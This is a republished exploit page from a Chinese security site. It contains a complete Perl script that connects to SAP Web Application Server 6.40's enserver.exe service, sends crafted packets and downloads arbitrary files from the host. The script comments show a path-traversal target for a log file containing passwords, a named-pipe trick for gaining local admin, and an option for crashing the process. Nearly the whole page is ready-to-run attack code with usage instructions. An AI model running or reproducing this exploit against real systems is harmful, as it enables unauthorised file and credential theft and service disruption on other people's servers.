SAP Web Application Server 6.40 Arbitrary File Disclosure Exploit
|
来源:www.vfocus.net 作者:Nicob 发布时间:2007-02-09
|
|
#!/usr/bin/perl -w
## ## SAP 'enserver.exe' file downloader ## Tested on "SAP Web Application Server Java 6.40" (eval DVD) ## Found & coded by Nicob ## ## The downloaded file is limited to the first 32 kilobytes ## Usual port : TCP/3200+SYSNR ## Exemple : ./r3-stealer-1.0.pl 192.168.2.22 3201 "c:\\boot.ini" ## ## From MSDN (Win2K pre-SP4, WinXP pre-SP2 and WinNT) : ## "\\\\your_box\\pipe\\your_pipe" => get Local Admin (SAPServiceJ2E) ## http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthz/security/authorization_constants.asp ## ## File parameter : ## C:\boot.ini ## \\10.11.12.13\share\image.jpg ## ..\..\..\..\..\..\Documents and Settings\All Users\Application Data\sapdb\wa\httpreq.log (contains passwords !) ##
# Init
use strict; use IO::Socket;
my $verbose = 0; # Set this to anything not null to crash the process my $crash = "";
my $socket; my $reply;
$|=1;
# Get arguments
if (($#ARGV<2) or ($ARGV[0] eq "-h")) {die "Usage: $0 <ip> <port> <remote filename> (<local filename>)\n";} my $host=$ARGV[0]; my $port=$ARGV[1]; my $filename=$ARGV[2]; my $output=$ARGV[3];
# Calculate variables
my $lg = length($filename); my $tag1 = sprintf('%x', 0x4F + $lg); my $tag2 = sprintf('%x', 0x20 + $lg);
# Show banner
print "#####################################################################\n"; print "### SAP 'enserver.exe' file downloader\n"; print "### Downloading '$filename' from '$host'\n"; print "#####################################################################\n\n";
# Define the packets
my $packet1 = "0000005dabcde123000000000000005d0000005d06010000000000060000000000040000000000010004000000000003". # Static "5f6e69636f625f6e69636f625f6e69636f62315f". # ASCII string : "_nicob_nicob_nicob1_" "00000000020000003b0000000500000002000000060000000400000001"; # Static
my $packet2 = "000000". $tag1. "abcde12300000001000000". $tag1 ."000000". $tag1 . "03000000454e430001010000234541410100000013030000000000234541450001000000". $tag2 . "0000000000007d00000000000000000000000000". unpack("H*",$filename) . $crash ."000023454144"; # Crash if bad filename length
# Create the socket
$socket = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort => $port) || die "Connection refused at [$host:$port]";
# Send the two packet
print $socket pack("H*",$packet1); print $socket pack("H*",$packet2);
sleep 2;
# Read and display response
recv($socket,$reply,150000,MSG_PEEK); if ($reply =~ /^(.*)#EAD(.*)$/s) { print "File received !\n"; if ((!defined($output)) or ($output eq "")) { print "\n===========================================\n"; print $2; print "\n===========================================\n"; } else { open(OUT, "> $output") || die "Can't open $output ($0)"; print "File saved as '$output'\n"; print OUT $2; close(OUT); } } else { print "Problem interpreting reply :-(\n"; }
# Close the socket
print "\nThe end ...\n"; close $socket;
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|